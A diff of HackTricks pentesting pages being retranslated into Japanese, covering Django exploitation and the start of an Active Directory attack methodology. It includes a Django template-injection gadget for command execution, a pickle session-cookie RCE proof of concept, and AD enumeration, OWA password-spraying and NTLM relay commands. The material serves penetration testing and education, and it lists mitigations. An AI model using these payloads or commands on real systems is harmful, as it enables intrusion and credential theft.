Djangoのキャッシュは次の4箇所のいずれかに保存されます: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。Redisサーバやdatabaseに保存されたキャッシュは最も現実的な攻撃ベクター(Redis injection や SQL injection)ですが、file-based cache を利用して任意書き込みからRCEに繋げられる場合もあります。メンテナはこれを非問題としてマークしています。キャッシュファイルのフォルダ、SQLテーブル名、Redisサーバの詳細は実装によって異なる点に注意してください。
|
||||
Djangoのキャッシュは次の4つのいずれかに保存されます: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。Redisサーバやデータベースに保存されたキャッシュが最も可能性の高い攻撃ベクトル(Redis injection や SQL injection)ですが、file-based cache を使って任意書き込みをRCEに変えることもあり得ます。メンテナはこれを非問題としてマークしています。cacheファイルのフォルダ、SQLテーブル名、Redisサーバの詳細は実装によって異なることに注意してください。
|
||||
|
||||
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
|
||||
この HackerOne レポートは、SQLite データベースに保存された Django キャッシュを悪用する優れた再現例を提供します: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
The Django Template Language (DTL) is **Turing-complete**. ユーザーから提供されたデータが *template string* としてレンダリングされる場合(例えば `Template(user_input).render()` を呼ぶときや、`|safe`/`format_html()` によって自動エスケープが無効化される場合)、攻撃者は完全な SSTI → RCE を達成する可能性があります。
|
||||
The Django Template Language (DTL) は **Turing-complete** です。ユーザー提供データが *template string* としてレンダリングされる場合(例えば `Template(user_input).render()` を呼ぶ、または `|safe`/`format_html()` によって自動エスケープが除去される場合)、攻撃者は完全な SSTI → RCE を達成する可能性があります。
|
||||
|
||||
### 検出
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` の動的呼び出しで、*いかなる*未サニタイズのリクエストデータが含まれていないか確認する。
|
||||
2. 時間ベースや算術のペイロードを送る:
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` への動的な呼び出しで、*いかなる* サニタイズされていないリクエストデータが含まれていないか確認する。
|
||||
2. 時間ベースまたは算術のペイロードを送る:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
レンダリング結果に `49` が含まれていれば、その入力はテンプレートエンジンでコンパイルされています。
|
||||
レンダリング結果に `49` が含まれる場合、入力はテンプレートエンジンによってコンパイルされています。
|
||||
|
||||
### RCEへのプリミティブ
|
||||
### RCE へのプリミティブ
|
||||
Djangoは `__import__` への直接アクセスをブロックしますが、Pythonのオブジェクトグラフには到達可能です:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen` のインデックス(≈400–500、Python のビルドに依存)を見つけ、任意のコマンドを実行する:
|
||||
`subprocess.Popen` のインデックス(Python ビルドによって約 400–500)を見つけ、任意のコマンドを実行する:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
より安全な汎用ガジェットは、`cls.__name__ == 'Popen'` になるまで反復することです。
|
||||
|
||||
同じガジェットは、ユーザー入力を正しく扱わない **Debug Toolbar** や **Django-CMS** のテンプレートレンダリング機能にも有効です。
|
||||
同じガジェットは、ユーザー入力を誤って処理する **Debug Toolbar** や **Django-CMS** のテンプレートレンダリング機能にも有効です。
|
||||
|
||||
---
|
||||
|
||||
### 参照:ReportLab/xhtml2pdf PDF export RCE
|
||||
Django ベースのアプリケーションは、ビューを PDF として出力するために xhtml2pdf/ReportLab を統合することがよくあります。ユーザー制御の HTML が PDF 生成に流れ込むと、rl_safe_eval が三重中括弧 `[[[ ... ]]]` 内の式を評価し、コード実行を引き起こす可能性があります(CVE-2023-33733)。詳細、ペイロード、および緩和策:
|
||||
### 参照: ReportLab/xhtml2pdf PDF export RCE
|
||||
Django ベースのアプリケーションは、ビューを PDF としてエクスポートするために xhtml2pdf/ReportLab を統合することが一般的です。ユーザー制御の HTML が PDF 生成に流れ込むと、rl_safe_eval が三重括弧 `[[[ ... ]]]` 内の式を評価し、コード実行を可能にする(CVE-2023-33733)。詳細、ペイロード、および緩和策:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -47,11 +47,11 @@ Django ベースのアプリケーションは、ビューを PDF として出
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
設定 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` が有効(または pickle をデシリアライズするカスタムシリアライザが使われている)場合、Django はセッションクッキーを *decrypts and unpickles* し、任意のビューコードを呼び出す**前に**処理します。したがって、有効な署名鍵(デフォルトではプロジェクトの `SECRET_KEY`)を所持しているだけで、即座にリモートコード実行が可能になります。
|
||||
設定 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` が有効(または pickle を逆シリアライズするカスタムシリアライザが使われている)場合、Django はビューコードを呼び出す**前に**セッションクッキーを*decrypts and unpickles*します。したがって、有効な署名キー(デフォルトではプロジェクトの `SECRET_KEY`)を所持しているだけで即座にリモートコード実行が可能になります。
|
||||
|
||||
### 悪用の要件
|
||||
* サーバーが `PickleSerializer` を使用していること。
|
||||
* 攻撃者が `settings.SECRET_KEY` を知っている、または推測できること(GitHub、`.env`、エラーページ経由の leaks など)。
|
||||
### エクスプロイト要件
|
||||
* サーバーが `PickleSerializer` を使用している。
|
||||
* 攻撃者が `settings.SECRET_KEY` を知っている、または推測できること(leaks via GitHub、`.env`、エラーページなど)。
|
||||
|
||||
### 概念実証
|
||||
```python
|
||||
@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
生成された cookie を送信すると、ペイロードは WSGI ワーカーの権限で実行される。
|
||||
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
|
||||
|
||||
**緩和策**: デフォルトの `JSONSerializer` を使用し、`SECRET_KEY` をローテーションし、`SESSION_COOKIE_HTTPONLY` を設定する。
|
||||
**緩和策**: デフォルトの `JSONSerializer` を維持し、`SECRET_KEY` を定期的にローテーションし、`SESSION_COOKIE_HTTPONLY` を設定してください。
|
||||
|
||||
---
|
||||
|
||||
## 最近(2023-2025)の影響度の高い Django CVE — Pentesters が確認すべき
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`*(2025年6月4日修正)。攻撃者が改行や ANSI コードをログファイルに持ち込み、下流のログ解析を汚染できる。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *Critical SQL injection* が `JSONField` の `QuerySet.values()/values_list()` に存在(CVSS 9.8)。JSON キーを細工してクォートを破り、任意の SQL を実行できる。4.2.15 / 5.0.8 で修正。
|
||||
## 最近(2023-2025)の、Pentesters が確認すべき影響度の高い Django CVE
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`*(修正: 2025-06-04)。攻撃者が改行や ANSI コードをログファイルに紛れ込ませ、下流のログ解析を汚染できる。Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8)。JSON のキーを細工してクォートから脱出し、任意の SQL を実行できる。修正バージョン: 4.2.15 / 5.0.8。
|
||||
|
||||
常に `X-Frame-Options` のエラーページや `/static/admin/css/base.css` のハッシュなどでフレームワークの正確なバージョンをフィンガープリントし、該当する場合は上記をテストすること。
|
||||
対象に応じて、`X-Frame-Options` のエラーページや `/static/admin/css/base.css` のハッシュでフレームワークの正確なバージョンを常にフィンガープリントし、上記をテストしてください。
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 2025-06-04.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 2024-08-11.
|
||||
* 0xdf: University (HTB) – xhtml2pdf/ReportLab CVE-2023-33733 を悪用して RCE を取得し AD にピボットする – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,29 +1,29 @@
|
||||
# Active Directory Methodology
|
||||
# Active Directory 方法論
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic overview
|
||||
## 基本概要
|
||||
|
||||
**Active Directory** は、ネットワーク内で **domains**, **users**, **objects** を効率的に作成・管理するための基盤技術です。大規模にスケールするよう設計されており、多数のユーザを管理可能な **groups** や **subgroups** に整理し、さまざまなレベルでの **access rights** を制御できます。
|
||||
**Active Directory** は基盤技術として機能し、**ネットワーク管理者** がネットワーク内の **ドメイン**、**ユーザー**、および **オブジェクト** を効率的に作成・管理できるようにします。大量のユーザーを扱いやすい **グループ** や **サブグループ** に整理し、さまざまなレベルで **アクセス権** を制御できるように設計されています。
|
||||
|
||||
**Active Directory** の構造は主に三つのレイヤーで構成されています: **domains**, **trees**, **forests**。**domain** は共通のデータベースを共有する **users** や **devices** といったオブジェクトの集合を含みます。**trees** は共通の構造で結ばれたこれらのドメインのグループであり、**forest** は複数の trees をまとめたもので、**trust relationships** を通じて相互に接続され、組織構造の最上位を形成します。各レベルで特定の **access** や **communication rights** を指定できます。
|
||||
**Active Directory** の構造は主に 3 層で構成されます:**ドメイン**、**ツリー**、および **フォレスト**。**ドメイン** は共通のデータベースを共有するユーザーやデバイスなどのオブジェクトの集合を含みます。**ツリー** は共通の構造で結ばれたドメイン群で、**フォレスト** は複数のツリーをまとめ、**信頼関係** を通じて相互接続された、組織構造の最上位に位置するものです。各レベルで特定の **アクセス** や **通信権限** を指定できます。
|
||||
|
||||
**Active Directory** の主要な概念は以下の通りです:
|
||||
**Active Directory** の重要な概念は以下のとおりです:
|
||||
|
||||
1. **Directory** – Active Directory オブジェクトに関するすべての情報を格納します。
|
||||
2. **Object** – directory 内の実体を指し、**users**, **groups**, **shared folders** などが含まれます。
|
||||
3. **Domain** – ディレクトリオブジェクトのコンテナとして機能し、複数のドメインが **forest** 内で共存し、それぞれが独自のオブジェクト集合を保持できます。
|
||||
4. **Tree** – 共通の root domain を共有するドメインのグループです。
|
||||
5. **Forest** – Active Directory の組織構造の最上位で、複数の trees で構成され、それらの間に **trust relationships** が存在します。
|
||||
1. **ディレクトリ** – Active Directory オブジェクトに関するすべての情報を保持します。
|
||||
2. **オブジェクト** – ディレクトリ内のエンティティを示し、**ユーザー**、**グループ**、または **共有フォルダ** などが含まれます。
|
||||
3. **ドメイン** – ディレクトリオブジェクトのコンテナであり、複数のドメインが **フォレスト** 内に共存し、それぞれが独自のオブジェクト集合を持ちます。
|
||||
4. **ツリー** – 共通のルートドメインを共有するドメインのグループです。
|
||||
5. **フォレスト** – Active Directory における組織構造の頂点で、複数のツリーとそれらの間の **信頼関係** で構成されます。
|
||||
|
||||
**Active Directory Domain Services (AD DS)** は、ネットワーク内の集中管理と通信に不可欠な一連のサービスを包含します。これらのサービスには次のものが含まれます:
|
||||
**Active Directory Domain Services (AD DS)** は、ネットワーク内の集中管理や通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
|
||||
|
||||
1. **Domain Services** – データの集中管理を行い、**users** と **domains** 間の相互作用(**authentication** や **search** 機能を含む)を管理します。
|
||||
2. **Certificate Services** – 安全な **digital certificates** の作成、配布、管理を担当します。
|
||||
1. **Domain Services** – データの集中管理を行い、**ユーザー** と **ドメイン** 間のやり取り(**認証** や検索機能など)を管理します。
|
||||
2. **Certificate Services** – セキュアな **デジタル証明書** の作成、配布、および管理を担当します。
|
||||
3. **Lightweight Directory Services** – **LDAP protocol** を通じてディレクトリ対応アプリケーションをサポートします。
|
||||
4. **Directory Federation Services** – 複数の web アプリケーションに対して **single-sign-on** を提供し、単一セッションでの認証を可能にします。
|
||||
5. **Rights Management** – 著作物の不正配布や使用を制限することで保護を支援します。
|
||||
6. **DNS Service** – **domain names** の解決に不可欠です。
|
||||
4. **Directory Federation Services** – 複数のウェブアプリケーションでの **single-sign-on** 機能を提供します。
|
||||
5. **Rights Management** – 著作権資料の不正配布や使用を制御することで保護を支援します。
|
||||
6. **DNS Service** – **ドメイン名** の解決に不可欠です。
|
||||
|
||||
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
@ -32,58 +32,58 @@ For a more detailed explanation check: [**TechTerms - Active Directory Definitio
|
||||
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
|
||||
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
## チートシート
|
||||
|
||||
You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
|
||||
AD を列挙/悪用するために実行できるコマンドを素早く確認するには、次を参照してください: [https://wadcoms.github.io/](https://wadcoms.github.io)。
|
||||
|
||||
> [!WARNING]
|
||||
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
## Recon Active Directory (認証情報/セッションなし)
|
||||
|
||||
If you just have access to an AD environment but you don't have any credentials/sessions you could:
|
||||
AD 環境にアクセスできるが認証情報やセッションを持っていない場合、次のことが可能です:
|
||||
|
||||
- **Pentest the network:**
|
||||
- Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
|
||||
- Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
|
||||
- **ネットワークをペネトレートする:**
|
||||
- ネットワークをスキャンし、マシンや開いているポートを見つけて、**脆弱性を悪用** したり、そこから **認証情報を抽出** したりします(例: [printers could be very interesting targets](ad-information-in-printers.md))。
|
||||
- DNS を列挙することで、web、printers、shares、vpn、media などのドメイン内の重要サーバに関する情報が得られます。
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this.
|
||||
- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
|
||||
- 詳細は一般的な [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) を参照して手順を確認してください。
|
||||
- **SMB サービスの null と Guest アクセスを確認する**(これは最新の Windows では動作しないことがあります):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- A more detailed guide on how to enumerate a SMB server can be found here:
|
||||
- SMB サーバの列挙方法に関する詳細ガイドは次を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Enumerate Ldap**
|
||||
- **LDAP を列挙する**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
|
||||
- LDAP 列挙に関する詳細ガイド(**匿名アクセスに特に注意**)は次を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **Poison the network**
|
||||
- Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- **ネットワークを Poison する**
|
||||
- Responder で **サービスを偽装して認証情報を収集**(impersonating services with Responder)してクレデンシャルを集める: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
- [**relay attack** を悪用してホストにアクセスする](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- evil-S を使って **偽の UPnP サービスを公開して認証情報を収集**(exposing fake UPnP services with evil-S): ../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md および [**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available.
|
||||
- If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
|
||||
- Tools:
|
||||
- 内部文書、ソーシャルメディア、ドメイン内のサービス(主に web)、および公開情報からユーザー名や氏名を抽出します。
|
||||
- 会社の従業員の氏名が判明した場合、さまざまな AD **username conventions**(**read this**)を試すことができます。一般的な慣例には以下があります:_NameSurname_, _Name.Surname_, _NamSur_(それぞれ 3 文字ずつ), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 文字のランダム + 3 数字(abc123)。
|
||||
- ツール:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
### ユーザー列挙
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
|
||||
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
|
||||
- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
- **匿名 SMB/LDAP 列挙:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) および [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) を参照してください。
|
||||
- **Kerbrute 列挙**: 無効なユーザー名が要求されると、サーバは **Kerberos error** コード _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ を返し、ユーザー名が無効であることを判別できます。有効なユーザー名は、AS-REP 内の **TGT** を返すか、または事前認証が必要であることを示す _KRB5KDC_ERR_PREAUTH_REQUIRED_ エラーを返します。
|
||||
- **MS-NRPC に対する No Authentication:** domain controller の MS-NRPC (Netlogon) インターフェースに対して auth-level = 1(No authentication)を使用します。この方法は MS-NRPC インターフェースにバインド後に `DsrGetDcNameEx2` 関数を呼び出して、認証情報なしでユーザーやコンピュータの存在を確認します。NauthNRPC (https://github.com/sud0Ru/NauthNRPC) はこの種の列挙を実装しています。研究の詳細はここにあります: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
||||
ネットワーク内でこのようなサーバーを見つけた場合、そのサーバーに対して**user enumeration**を実行することもできます。例えば、[**MailSniper**](https://github.com/dafthack/MailSniper)というツールを使用できます:
|
||||
ネットワーク内でこれらのサーバーのいずれかを見つけた場合、**user enumeration against it** を実行することもできます。例えば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -110,17 +110,18 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> ユーザー名のリストは [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) とこちらの ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) で見つけることができます。
|
||||
>
|
||||
> However, you should have the **会社で働いている人の名前** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
|
||||
> ただし、事前の recon ステップで得た **会社で働く人々の氏名** を持っているはずです。名前と姓があれば、スクリプト [**namemash.py**](https://gist.github.com/superkojiman/11076951) を使って潜在的な有効ユーザー名を生成できます。
|
||||
|
||||
### Knowing one or several usernames
|
||||
|
||||
OK、すでに有効なユーザー名を把握していてパスワードがない場合は、次を試してください:
|
||||
有効なユーザー名は分かっているがパスワードがない場合は、次を試してください:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): ユーザーが **_DONT_REQ_PREAUTH_ を持っていない** 場合、そのユーザーに対して **AS_REP message を要求**できます。メッセージにはユーザーのパスワードから派生したもので暗号化されたデータが含まれます。
|
||||
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して、最も **一般的なパスワード** を試してみてください。弱いパスワードを使っているユーザーがいるかもしれません(パスワードポリシーに注意!)。
|
||||
- 注意: ユーザーのメールサーバーにアクセスするために、**spray OWA servers** を試すこともできます。
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
|
||||
- [**Password Spraying**](password-spraying.md): 最も**一般的なパスワード**を発見した各ユーザーに対して試してみてください。もしかすると誰かが弱いパスワードを使っているかもしれません(パスワードポリシーに注意してください)。
|
||||
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -128,7 +129,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
ネットワークのいくつかのプロトコルを**poisoning**することで、クラッキング可能なチャレンジ**hashes**を**取得**できる可能性があります:
|
||||
ネットワークのいくつかのプロトコルを**poisoning**することで、クラック用のチャレンジ**hashes**を**obtain**できる場合があります:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -137,11 +138,11 @@ password-spraying.md
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Active Directory を列挙できていれば、**より多くのメールアドレスやネットワークの理解**が得られます。NTLM の [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) を強制して AD 環境へアクセスできる可能性があります。
|
||||
Active Directory の列挙に成功すれば、**より多くのメールアドレスやネットワークの全体像**を得られます。NTLM を使った [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) を強制して AD 環境にアクセスできる可能性があります。
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
もし **null や guest ユーザー**で他の PC や共有に**アクセス**できるなら、SCF ファイルのようなファイルを**配置**して、誰かがそれにアクセスしたときにあなたに対して **NTLM 認証をトリガー**させ、**NTLM チャレンジ**を盗んでクラッキングする、ということが可能です:
|
||||
**null or guest user** で他の PC や共有に **アクセス** できる場合、(SCF ファイルなどの) ファイルを **配置** しておき、何らかの方法でそれが参照されるとあなたに対して **NTLM authentication がトリガー**され、**NTLM challenge** を **盗んで** クラックすることができます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -150,9 +151,9 @@ Active Directory を列挙できていれば、**より多くのメールアド
|
||||
|
||||
## Enumerating Active Directory WITH credentials/session
|
||||
|
||||
このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを奪取していること**が必要です。もし有効な認証情報やドメインユーザーとしてのシェルを持っているなら、前述のオプションは他ユーザーを侵害するための手段として依然有効であることを覚えておいてください。
|
||||
このフェーズでは、有効なドメインアカウントの**資格情報またはセッションを侵害している**必要があります。ドメインユーザーとして有効な資格情報やシェルを持っている場合、**前に挙げたオプションは他ユーザーを侵害するための選択肢として依然有効である**ことを忘れないでください。
|
||||
|
||||
認証付き列挙を開始する前に、**Kerberos double hop problem** を理解しておくべきです。
|
||||
認証済み列挙を開始する前に、**Kerberos double hop problem** を理解しておくべきです。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -161,33 +162,33 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeration
|
||||
|
||||
アカウントを奪取することは、ドメイン全体を侵害するための**大きな一歩**です。これにより **Active Directory Enumeration** を開始できます:
|
||||
アカウントを侵害することは、ドメイン全体を侵害するための**大きな一歩**です。これにより **Active Directory 列挙** を開始できるようになります。
|
||||
|
||||
[**ASREPRoast**](asreproast.md) に関しては、今や全ての潜在的に脆弱なユーザーを見つけられますし、[**Password Spraying**](password-spraying.md) に関しては、**すべてのユーザー名のリスト**を得て、奪取したアカウントのパスワード、空パスワード、あるいは有望な新しいパスワードを試すことができます。
|
||||
[**ASREPRoast**](asreproast.md) に関しては、すべての潜在的に脆弱なユーザーを見つけられますし、[**Password Spraying**](password-spraying.md) に関しては **全ユーザー名のリスト** を取得して、侵害したアカウントのパスワード、空のパスワード、あるいは有望な新しいパスワードを試すことができます。
|
||||
|
||||
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
|
||||
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
|
||||
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
||||
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
|
||||
- GUI を持つディレクトリ列挙用ツールとしては **SysInternal** スイートの **AdExplorer.exe** が使えます。
|
||||
